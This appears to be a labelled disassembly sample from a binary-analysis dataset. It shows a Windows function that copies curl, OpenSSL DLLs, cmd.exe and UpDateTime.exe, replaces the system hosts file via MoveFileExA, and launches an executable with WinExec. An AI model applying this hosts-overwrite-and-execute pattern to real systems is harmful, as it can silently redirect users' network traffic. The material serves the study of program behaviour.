Function at 0x40b09c
Capabilities:
Copy file
Create process on windows
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe1c
push ebx
push esi
push edi
mov dword [ebp - 0xdc], eax
lea esi, [ebp - 0x34]
mov eax, 0x47ba18
call fcn.0046b8cc
mov word [ebp - 0xc8], 0x14
mov edx, str.O:SuperTest
lea eax, [ebp - 8]
call fcn.004758e8
inc dword [ebp - 0xbc]
lea eax, [ebp - 0xc]
mov word [ebp - 0xc8], 8
mov word [ebp - 0xc8], 0x20
mov edx, dword [ebp - 0xdc]
add edx, 0x30
call fcn.00475920
inc dword [ebp - 0xbc]
mov edx, str.curl.exe
mov word [ebp - 0xc8], 8
mov word [ebp - 0xc8], 0x2c
lea eax, [ebp - 0x10]
call fcn.004758e8
inc dword [ebp - 0xbc]
mov edx, str.libcurl.dll
mov word [ebp - 0xc8], 8
mov word [ebp - 0xc8], 0x38
lea eax, [ebp - 0x14]
call fcn.004758e8
inc dword [ebp - 0xbc]
mov edx, str.libeay32.dll
mov word [ebp - 0xc8], 8
mov word [ebp - 0xc8], 0x44
lea eax, [ebp - 0x18]
call fcn.004758e8
inc dword [ebp - 0xbc]
mov edx, str.libssl32.dll
mov word [ebp - 0xc8], 8
mov word [ebp - 0xc8], 0x50
lea eax, [ebp - 0x1c]
call fcn.004758e8
inc dword [ebp - 0xbc]
mov edx, str.cmd.exe
mov word [ebp - 0xc8], 8
mov word [ebp - 0xc8], 0x5c
lea eax, [ebp - 0x20]
call fcn.004758e8
inc dword [ebp - 0xbc]
mov edx, str.UpDateTime.exe
mov word [ebp - 0xc8], 8
mov word [ebp - 0xc8], 0x68
lea eax, [ebp - 0x24]
call fcn.004758e8
inc dword [ebp - 0xbc]
mov edx, str.hosts
mov word [ebp - 0xc8], 8
mov word [ebp - 0xc8], 0x74
lea eax, [ebp - 0x28]
call fcn.004758e8
inc dword [ebp - 0xbc]
mov word [ebp - 0xc8], 8
mov word [ebp - 0xc8], 0x80
xor edx, edx
mov eax, dword [0x41131c]
mov dword [ebp - 0xe0], edx
mov dl, 1
mov word [ebp - 0xc8], 0x80
mov word [ebp - 0xc8], 0x8c
call fcn.00405ee0
mov dword [ebp - 0xe0], eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov word [ebp - 0xc8], 0x8c
xor ebx, ebx
jmp 0x40b549
mov word [ebp - 0xc8], 0xa4
xor eax, eax
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x3c]
inc dword [ebp - 0xbc]
mov edx, ebx
mov eax, dword [ebp - 0xe0]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x3c]
xor edx, edx
push eax
mov dword [ebp - 0x38], edx
inc dword [ebp - 0xbc]
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 0xc]
call fcn.00425018
lea eax, [ebp - 0x38]
xor edx, edx
mov dword [ebp - 0x30], edx
lea ecx, [ebp - 0x30]
inc dword [ebp - 0xbc]
pop edx
call fcn.004759f8
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x3c]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.004759a0
mov word [ebp - 0xc8], 0x98
mov word [ebp - 0xc8], 0xb0
xor eax, eax
mov dword [ebp - 0x44], eax
lea ecx, [ebp - 0x44]
inc dword [ebp - 0xbc]
mov edx, ebx
mov eax, dword [ebp - 0xe0]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x44]
xor edx, edx
push eax
mov dword [ebp - 0x40], edx
inc dword [ebp - 0xbc]
lea edx, [ebp - 0x40]
mov eax, dword [ebp - 8]
call fcn.00425018
lea eax, [ebp - 0x40]
xor edx, edx
mov dword [esi], edx
mov ecx, esi
inc dword [ebp - 0xbc]
pop edx
call fcn.004759f8
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x40]
mov edx, 2
call fcn.004759a0
mov word [ebp - 0xc8], 0x98
mov eax, dword [esi]
call fcn.00420c28
test al, al
jne 0x40b3ee
dec dword [ebp - 0xbc]
mov eax, esi
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.004759a0
jmp 0x40b548
push 0
cmp dword [ebp - 0x30], 0
je 0x40b3fb
mov ecx, dword [ebp - 0x30]
jmp 0x40b400
mov ecx, 0x47b5dc
push ecx
cmp dword [esi], 0
je 0x40b40a
mov eax, dword [esi]
jmp 0x40b40f
mov eax, 0x47b5db
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
je 0x40b4b5
mov word [ebp - 0xc8], 0xbc
xor edx, edx
mov dword [ebp - 0x4c], edx
lea ecx, [ebp - 0x4c]
inc dword [ebp - 0xbc]
mov edx, ebx
mov eax, dword [ebp - 0xe0]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x4c]
push eax
mov edx, str.CopyFile:
lea eax, [ebp - 0x48]
call fcn.004758e8
inc dword [ebp - 0xbc]
xor edx, edx
mov dword [ebp - 0x50], edx
lea ecx, [ebp - 0x50]
inc dword [ebp - 0xbc]
pop edx
call fcn.004759f8
lea edx, [ebp - 0x50]
mov eax, dword [ebp - 0xdc]
call fcn.0040af7c
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x50]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x4c]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.004759a0
jmp 0x40b51a
mov word [ebp - 0xc8], 0xc8
mov edx, str._CopyFile_Fail:
lea eax, [ebp - 0x54]
call fcn.004758e8
inc dword [ebp - 0xbc]
xor ecx, ecx
mov dword [ebp - 0x58], ecx
lea ecx, [ebp - 0x58]
inc dword [ebp - 0xbc]
mov edx, esi
call fcn.004759f8
lea edx, [ebp - 0x58]
mov eax, dword [ebp - 0xdc]
call fcn.0040af7c
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x58]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x54]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
mov eax, esi
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.004759a0
mov word [ebp - 0xc8], 0x8c
inc ebx
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp ebx, eax
jl 0x40b2b3
mov word [ebp - 0xc8], 0xe0
xor ecx, ecx
mov dword [ebp - 0x5c], ecx
lea edx, [ebp - 0x5c]
inc dword [ebp - 0xbc]
mov eax, dword [ebp - 0xc]
call fcn.00425018
lea eax, [ebp - 0x5c]
xor edx, edx
mov dword [ebp - 0x2c], edx
lea ecx, [ebp - 0x2c]
inc dword [ebp - 0xbc]
lea edx, [ebp - 0x28]
call fcn.004759f8
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x5c]
mov edx, 2
call fcn.004759a0
mov word [ebp - 0xc8], 0xd4
mov eax, dword [ebp - 0x2c]
call fcn.00420c28
test al, al
je 0x40b9df
push 0x104
lea ecx, [ebp - 0x1e4]
push ecx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
mov word [ebp - 0xc8], 0xf8
lea edx, [ebp - 0x1e4]
lea eax, [ebp - 0x64]
call fcn.004758e8
inc dword [ebp - 0xbc]
mov eax, dword [eax]
xor edx, edx
mov dword [ebp - 0x68], edx
lea edx, [ebp - 0x68]
inc dword [ebp - 0xbc]
call fcn.00425018
lea eax, [ebp - 0x68]
push eax
mov edx, str.system32driversetc_
lea eax, [ebp - 0x6c]
call fcn.004758e8
inc dword [ebp - 0xbc]
xor eax, eax
mov dword [ebp - 0x70], eax
lea edx, [ebp - 0x6c]
inc dword [ebp - 0xbc]
lea ecx, [ebp - 0x70]
pop eax
call fcn.004759f8
lea eax, [ebp - 0x70]
xor edx, edx
mov dword [ebp - 0x60], edx
lea ecx, [ebp - 0x60]
inc dword [ebp - 0xbc]
lea edx, [ebp - 0x28]
call fcn.004759f8
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x70]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x6c]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x64]
mov edx, 2
call fcn.004759a0
mov word [ebp - 0xc8], 0xec
push 1
cmp dword [ebp - 0x60], 0
je 0x40b6ac
mov eax, dword [ebp - 0x60]
jmp 0x40b6b1
mov eax, 0x47b611
push eax
cmp dword [ebp - 0x2c], 0
je 0x40b6bd
mov edx, dword [ebp - 0x2c]
jmp 0x40b6c2
mov edx, 0x47b610
push edx
call sub.KERNEL32.DLL_MoveFileExA
test eax, eax
je 0x40b8aa
mov word [ebp - 0xc8], 0x104
mov edx, str.MoveFile:
lea eax, [ebp - 0x74]
call fcn.004758e8
inc dword [ebp - 0xbc]
xor ecx, ecx
mov dword [ebp - 0x78], ecx
lea ecx, [ebp - 0x78]
inc dword [ebp - 0xbc]
lea edx, [ebp - 0x2c]
call fcn.004759f8
lea edx, [ebp - 0x78]
mov eax, dword [ebp - 0xdc]
call fcn.0040af7c
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.004759a0
mov word [ebp - 0xc8], 0x110
mov edx, str.Running:
lea eax, [ebp - 0x7c]
call fcn.004758e8
inc dword [ebp - 0xbc]
xor ecx, ecx
mov dword [ebp - 0x80], ecx
lea ecx, [ebp - 0x80]
inc dword [ebp - 0xbc]
lea edx, [ebp - 0x24]
call fcn.004759f8
lea edx, [ebp - 0x80]
mov eax, dword [ebp - 0xdc]
call fcn.0040af7c
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x80]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x7c]
mov edx, 2
call fcn.004759a0
push 0xa
xor ecx, ecx
mov word [ebp - 0xc8], 0x11c
mov dword [ebp - 0x84], ecx
lea edx, [ebp - 0x84]
inc dword [ebp - 0xbc]
mov eax, dword [ebp - 0xc]
call fcn.00425018
lea eax, [ebp - 0x84]
xor edx, edx
mov dword [ebp - 0x88], edx
lea ecx, [ebp - 0x88]
inc dword [ebp - 0xbc]
lea edx, [ebp - 0x24]
call fcn.004759f8
cmp dword [ebp - 0x88], 0
je 0x40b7f6
mov eax, dword [ebp - 0x88]
jmp 0x40b7fb
mov eax, 0x47b627
push eax
call sub.KERNEL32.DLL_WinExec
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x88]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x84]
mov edx, 2
call fcn.004759a0
mov word [ebp - 0xc8], 0x128
mov edx, str.Stop_Running:
lea eax, [ebp - 0x8c]
call fcn.004758e8
inc dword [ebp - 0xbc]
xor ecx, ecx
mov dword [ebp - 0x90], ecx
lea ecx, [ebp - 0x90]
inc dword [ebp - 0xbc]
lea edx, [ebp - 0x24]
call fcn.004759f8
lea edx, [ebp - 0x90]
mov eax, dword [ebp - 0xdc]
call fcn.0040af7c
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x90]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x8c]
mov edx, 2
call fcn.004759a0
jmp 0x40b9c3
mov word [ebp - 0xc8], 0x134
mov edx, str._MoveFile_Fail:
lea eax, [ebp - 0x94]
call fcn.004758e8
inc dword [ebp - 0xbc]
xor ecx, ecx
mov dword [ebp - 0x98], ecx
lea ecx, [ebp - 0x98]
inc dword [ebp - 0xbc]
lea edx, [ebp - 0x2c]
call fcn.004759f8
lea eax, [ebp - 0x98]
push eax
mov edx, str.__
lea eax, [ebp - 0x9c]
call fcn.004758e8
inc dword [ebp - 0xbc]
xor eax, eax
mov dword [ebp - 0xa0], eax
lea edx, [ebp - 0x9c]
inc dword [ebp - 0xbc]
lea ecx, [ebp - 0xa0]
pop eax
call fcn.004759f8
lea eax, [ebp - 0xa0]
xor edx, edx
mov dword [ebp - 0xa4], edx
lea ecx, [ebp - 0xa4]
inc dword [ebp - 0xbc]
lea edx, [ebp - 0x60]
call fcn.004759f8
lea edx, [ebp - 0xa4]
mov eax, dword [ebp - 0xdc]
call fcn.0040af7c
dec dword [ebp - 0xbc]
lea eax, [ebp - 0xa4]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0xa0]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x9c]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x98]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x94]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x60]
mov edx, 2
call fcn.004759a0
mov word [ebp - 0xc8], 0xd4
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.004759a0
mov word [ebp - 0xc8], 0x8c
mov word [ebp - 0xc8], 0x80
mov ebx, dword [ebp - 0xe0]
mov dword [ebp - 0xac], ebx
test ebx, ebx
je 0x40ba3e
mov eax, dword [ebx]
mov dword [ebp - 0xa8], eax
mov word [ebp - 0xc8], 0x14c
mov edx, 3
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0xc8], 0x140
cmp word [ebp - 0xc6], 0
je 0x40ba49
ret
mov word [ebp - 0xc8], 8
jmp 0x40bae0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004759a0
dec dword [ebp - 0xbc]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004759a0
mov ecx, dword [ebp - 0xd8]
mov dword fs:[0], ecx
mov esp, ebp
mov edi, dword [ebp - 0x1f0]
mov esi, dword [ebp - 0x1ec]
mov ebx, dword [ebp - 0x1e8]
pop ebp
ret